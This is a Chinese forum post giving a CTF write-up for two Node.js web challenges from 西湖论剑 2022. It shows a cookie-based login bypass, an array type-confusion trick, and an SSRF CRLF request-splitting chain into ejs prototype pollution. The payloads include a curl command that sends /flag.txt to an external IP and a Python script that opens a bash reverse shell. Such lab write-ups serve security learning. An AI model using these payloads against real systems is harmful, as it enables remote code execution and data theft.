ToB企服应用市场:ToB评测及商务社交产业平台

标题: [西湖论剑 2022]web部分题解(更新中ing) [打印本页]

作者: 王海鱼    时间: 2024-4-19 23:01
标题: [西湖论剑 2022]web部分题解(更新中ing)
[西湖论剑 2022]Node Magical Login

环境!启动!(ノへ ̄、)

这么一看好像弱口令啊,(不过西湖论剑题目怎么会这么简单,当时真的傻),那就bp抓包试一下(这里就不展示了,因为是展示自己思路,这里就写了一下当时的NC思路,其实是不对的┭┮﹏┭┮)
不是BP弱口令?那好吧,我们先看一下源码,比赛的时候是给了源码的NSS复现上是没有的,这里我把源码放在这里,或者可以去我主页GITHUB上下载“源码
单独建立一个工程看一下
大概扒拉了一下,main.js,controller.js,login.css............(+.+)(-.-)(_ _) ..zzZZ,最终发现!应该是“controller.js”这里有关于flag的内容!

我把源码放在下边o.O?
  1. const fs = require("fs");
  2. const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"
  3. const flag1 = fs.readFileSync("/flag1")
  4. const flag2 = fs.readFileSync("/flag2")
  5. function LoginController(req,res) {
  6.     try {
  7.         const username = req.body.username
  8.         const password = req.body.password
  9.         if (username !== "admin" || password !== Math.random().toString()) {
  10.             res.status(401).type("text/html").send("Login Failed")
  11.         } else {
  12.             res.cookie("user",SECRET_COOKIE)
  13.             res.redirect("/flag1")
  14.         }
  15.     } catch (__) {}
  16. }
  17. function CheckInternalController(req,res) {
  18.     res.sendFile("check.html",{root:"static"})
  19. }
  20. function CheckController(req,res) {
  21.     let checkcode = req.body.checkcode?req.body.checkcode:1234;
  22.     console.log(req.body)
  23.     if(checkcode.length === 16){
  24.         try{
  25.             checkcode = checkcode.toLowerCase()
  26.             if(checkcode !== "aGr5AtSp55dRacer"){
  27.                 res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
  28.             }
  29.         }catch (__) {}
  30.         res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
  31.     }else{
  32.         res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
  33.     }
  34. }
  35. function Flag1Controller(req,res){
  36.     try {
  37.         if(req.cookies.user === SECRET_COOKIE){
  38.             res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
  39.             res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
  40.             res.status(200).type("text/html").send("Login success. Welcome,admin!")
  41.         }
  42.         if(req.cookies.user === "admin") {
  43.             res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
  44.             res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
  45.         }else{
  46.             res.status(401).type("text/html").send("Unauthorized")
  47.         }
  48.     }catch (__) {}
  49. }
  50. module.exports = {
  51.     LoginController,
  52.     CheckInternalController,
  53.     Flag1Controller,
  54.     CheckController
  55. }
复制代码
很好理解先来第一段:
Flag1:
  1. function LoginController(req,res) {
  2.     try {
  3.         const username = req.body.username
  4.         const password = req.body.password
  5.         if (username !== "admin" || password !== Math.random().toString()) {
  6.             res.status(401).type("text/html").send("Login Failed")
  7.         } else {
  8.             res.cookie("user",SECRET_COOKIE)
  9.             res.redirect("/flag1")
  10.         }
  11.     } catch (__) {}
  12. }
复制代码
这代码从上向下看就是username !== "admin"也就是让他等于admin,相当于屏蔽了这个,好解决BP启动!
抓到包以后直接改cookie就好了(・-・*),还有因为是访问请求,所以,GET一下flag1
  1. Cookie:user=admin
  2. GET /flag1 HTTP/1.1
复制代码
得到:

好耶!我们得到了一半的flag!(*^▽^*)
  1. NSSCTF{0a8c2d78-ee0e
复制代码
那就接着看代码,找Flag2:
Flag2:

看了可以知道,访问 / 路由时,要满足密码为 Math.random().toString()的 随机数,因此cookie设为SECRET_COOKIE。
那么我们再看一下flag2 的相关代码:
  1. function CheckController(req,res) {
  2.     let checkcode = req.body.checkcode?req.body.checkcode:1234;
  3.     console.log(req.body)
  4.     if(checkcode.length === 16){
  5.         try{
  6.             checkcode = checkcode.toLowerCase()
  7.             if(checkcode !== "aGr5AtSp55dRacer"){
  8.                 res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
  9.             }
  10.         }catch (__) {}
  11.         res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
  12.     }else{
  13.         res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
  14.     }
  15. }
复制代码
这段代码其实很好理解,要上传一段长度为16位的码,同时要让checkcode不等于“aGr5AtSp55dRacer”还有就是因为有”toLowerCase“会把字符小写所以考虑用node的相关漏洞,具体讲解有大神讲过了,意思是node有个遗传性,比如:
  1. oi1=1
  2. oi2//不赋值
  3. 这个时候我们调用oi1那就会把io2也是1
复制代码
这个不仅是赋值,同样还有Function也继承,类似于php继承性,这是讲解视频:Node.js原型链污染
那么我们继续开始赋值,因为他让不等于而且会被默认小写,可以考虑数组:
两种写法:
  1. {"checkcode":["aGr5AtSp55dRacer",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}
复制代码
  1. {"checkcode":["a","G","r","5","A","t","S","p","5","5","d","R","a","c","e","r"]}
复制代码
其实是一样的都是凑够"16"位带入进去,还有就是因为是json形式的文件所以改一下json上传(好烦的要求┏┛墓┗┓...(((m -__-)m),还要记得访问flag2:
  1. POST /getflag2 HTTP/1.1//这个是头
  2. Content-Type:application/json//这个是文件形式
复制代码
两种写的格式截图放这里:


效果一致得到Flag2(lll¬ω¬)
  1. -43a7-9d6e-fba3cc3240ab}
复制代码
最终为:
  1. NSSCTF{0a8c2d78-ee0e-43a7-9d6e-fba3cc3240ab}
复制代码
 结束<(^-^)>
[西湖论剑 2022]real_ez_node

让我先把环境拉起来!这题是有源码包的,我放到了自己的Github上了,可以去下载一下“启动链接!”

思路确认环节

ejs?等会这题叫node是吧,突然想到之前群里的师傅在谈论的node漏洞,这题这么新颖么?先看一下源码吧O.o,F12看一眼,果然没有东西,那打开Kali扫一下,啊也没有耶,那种只能看看源码了(这里是边写边做的,也算是帮很多人排除错误选项)
VSCODE打开看一眼源码:

这里不是很清楚为什么在NSS上的源码包这么多东西,我去其实仔细审计以后(我是真的把每一个文件夹都看了一遍,脑子要吐了T-T),找到了routes里边的index.js以及docker\docker\web1\files中的start.sh
那么首先锁定了flag的位置:flag位置在根目录下/flag.txt

接着开始快e乐xin的审计代码:……]((o_ _)'彡☆
  1. var express = require('express');
  2. var http = require('http');
  3. var router = express.Router();
  4. const safeobj = require('safe-obj');
  5. router.get('/',(req,res)=>{
  6.   if (req.query.q) {
  7.     console.log('get q');
  8.   }
  9.   res.render('index');
  10. })
  11. router.post('/copy',(req,res)=>{
  12.   res.setHeader('Content-type','text/html;charset=utf-8')
  13.   var ip = req.connection.remoteAddress;
  14.   console.log(ip);
  15.   var obj = {
  16.       msg: '',
  17.   }
  18.   if (!ip.includes('127.0.0.1')) {
  19.       obj.msg="only for admin"
  20.       res.send(JSON.stringify(obj));
  21.       return
  22.   }
  23.   let user = {};
  24.   for (let index in req.body) {
  25.       if(!index.includes("__proto__")){
  26.           safeobj.expand(user, index, req.body[index])
  27.       }
  28.     }
  29.   res.render('index');
  30. })
  31. router.get('/curl', function(req, res) {
  32.     var q = req.query.q;
  33.     var resp = "";
  34.     if (q) {
  35.         var url = 'http://localhost:3000/?q=' + q
  36.             try {
  37.                 http.get(url,(res1)=>{
  38.                     const { statusCode } = res1;
  39.                     const contentType = res1.headers['content-type'];
  40.                   
  41.                     let error;
  42.                     // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
  43.                     if (statusCode !== 200) {
  44.                       error = new Error('Request Failed.\n' +
  45.                                         `Status Code: ${statusCode}`);
  46.                     }
  47.                     if (error) {
  48.                       console.error(error.message);
  49.                       // 消费响应数据以释放内存
  50.                       res1.resume();
  51.                       return;
  52.                     }
  53.                   
  54.                     res1.setEncoding('utf8');
  55.                     let rawData = '';
  56.                     res1.on('data', (chunk) => { rawData += chunk;
  57.                     res.end('request success') });
  58.                     res1.on('end', () => {
  59.                       try {
  60.                         const parsedData = JSON.parse(rawData);
  61.                         res.end(parsedData+'');
  62.                       } catch (e) {
  63.                         res.end(e.message+'');
  64.                       }
  65.                     });
  66.                   }).on('error', (e) => {
  67.                     res.end(`Got error: ${e.message}`);
  68.                   })
  69.                 res.end('ok');
  70.             } catch (error) {
  71.                 res.end(error+'');
  72.             }
  73.     } else {
  74.         res.send("search param 'q' missing!");
  75.     }
  76. })
  77. module.exports = router;v
复制代码
大概看了下代码首先,这题叫做node那么大概率就是原型链污染了,粗略看代码又有safeobj.expand(),safeobj.expand() 这一块类明显的在user中的污染链函数,又有打算开环境以后的ejs提示,那问题锁定,就是ejs模板引擎污染。
好的,主席说过“治理污染要治本,绿水青山.........”那就开始找源头!ヽ( ̄︿ ̄ )—C
1.首先在代码18行到25行看到了两个东西:要求我们从本地(127.0.0.1)访问,过滤了__proto__。

2.再往下看一看,发现有SSRF的节点可利用:

这样看我就有思路了!ε=ε=ε=(~ ̄▽ ̄)~
先通过路由利用CRLF还有它给我ban 了的本地连接身份向/copy发一个POST请求,再去解决污染!说干就淦
调试payload环节

ejs污染原型链

既然是___proto___这种原型链污染那我们用模板就可以了。借用“jay17”大大的博客内容,对___proto___使用constructor.prototype绕过
  1. (实例对象)foo.__proto__ == (类)Foo.prototype
复制代码
ejs原型链污染的payload模板是这样的!d=====( ̄▽ ̄*)b
  1. {"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}
复制代码
仔细看代码,let user={};,user的上一层就是Object,考虑只有一次污染,那么就只有一个___proto___
payload如下:
  1. {
  2.         "__proto__":{
  3.                 "outputFunctionName":"a=1; return                         global.process.mainModule.constructor._load('child_process').execSync('dir'); //"
  4.         }
  5. }
复制代码
safeobj里的expand方法, 直接递归按照 “.”做分隔写入 obj,可以原型链污染。传入{“a.b”:“123”}会进行赋值a.b=123
  1. {
  2.     "constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
  3. }
复制代码
最终完善一下代码:
  1. expand: function (obj, path, thing) {
  2.       if (!path || typeof thing === 'undefined') {
  3.         return;
  4.       }
  5.       obj = isObject(obj) && obj !== null ? obj : {};
  6.       var props = path.split('.');
  7.       if (props.length === 1) {
  8.         obj[props.shift()] = thing;
  9.       } else {
  10.         var prop = props.shift();
  11.         if (!(prop in obj)) {
  12.           obj[prop] = {};
  13.         }
  14.         _safe.expand(obj[prop], props.join('.'), thing);
  15.       }
  16.     },
复制代码
CRLF

这里我想了好多种讲解方法,最终觉得我讲理论会有点难理解,有兴趣的师傅们可以去刚才我附赠的jay-17大大那个博客翻找一下,我直接给构成的脚本,生成就好了✧(≖ ◡ ≖✿)
原始脚本:
  1. payload = ''' HTTP/1.1
  2. [POST /upload.php HTTP/1.1
  3. Host: 127.0.0.1]自己的http请求
  4. GET / HTTP/1.1
  5. test:'''.replace("\n","\r\n")
  6. payload = payload.replace('\r\n', '\u010d\u010a') \
  7.     .replace('+', '\u012b') \
  8.     .replace(' ', '\u0120') \
  9.     .replace('"', '\u0122') \
  10.     .replace("'", '\u0a27') \
  11.     .replace('[', '\u015b') \
  12.     .replace(']', '\u015d') \
  13.     .replace('`', '\u0127') \
  14.     .replace('"', '\u0122') \
  15.     .replace("'", '\u0a27') \
  16.     .replace('[', '\u015b') \
  17.     .replace(']', '\u015d') \
  18. print(payload)
复制代码
题目所需脚本:
  1. payload = ''' HTTP/1.1
  2. POST /copy HTTP/1.1
  3. Host: 127.0.0.1
  4. Content-Type: application/json
  5. Connection: close
  6. Content-Length: 175
  7. {"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl //地址// /`cat /flag.txt`');//"}
  8. '''.replace("\n", "\r\n")
  9. payload = payload.replace('\r\n', '\u010d\u010a') \
  10.     .replace('+', '\u012b') \
  11.     .replace(' ', '\u0120') \
  12.     .replace('"', '\u0122') \
  13.     .replace("'", '\u0a27') \
  14.     .replace('[', '\u015b') \
  15.     .replace(']', '\u015d') \
  16.     .replace('`', '\u0127') \
  17.     .replace('"', '\u0122') \
  18.     .replace("'", '\u0a27')
  19. print(payload)
复制代码
注意下哦,这里为什么填175,POST数据长度173,但是POST还包含了两个\n会被替换为\r\n,总长度要加2( *︾▽︾)
生成paylaod后发包:
  1. /curl?q=生成的payload URL编码
复制代码
附赠一个一把梭的代码:
  1. import requests
  2. import urllib.parse
  3. payloads = ''' HTTP/1.1
  4. POST /copy HTTP/1.1
  5. Host: 127.0.0.1
  6. User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
  7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  8. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  9. Accept-Encoding: gzip, deflate
  10. Connection: close
  11. Cookie: wp-settings-time-1=1670345808
  12. Upgrade-Insecure-Requests: 1
  13. Content-Type: application/json
  14. Content-Length: 174
  15. {"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port/*/IP地址/* 0>&1\"');var __tmp2"}
  16. GET / HTTP/1.1
  17. test:'''.replace("\n", "\r\n")
  18. def payload_encode(raw):
  19.     ret = u""
  20.     for i in raw:
  21.         ret += chr(0x0100 + ord(i))
  22.     return ret
  23. payloads = payload_encode(payloads)
  24. print(payloads)
  25. r = requests.get('//题目代码/curl?q=' + urllib.parse.quote(payloads))
  26. print(r.text)
复制代码
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4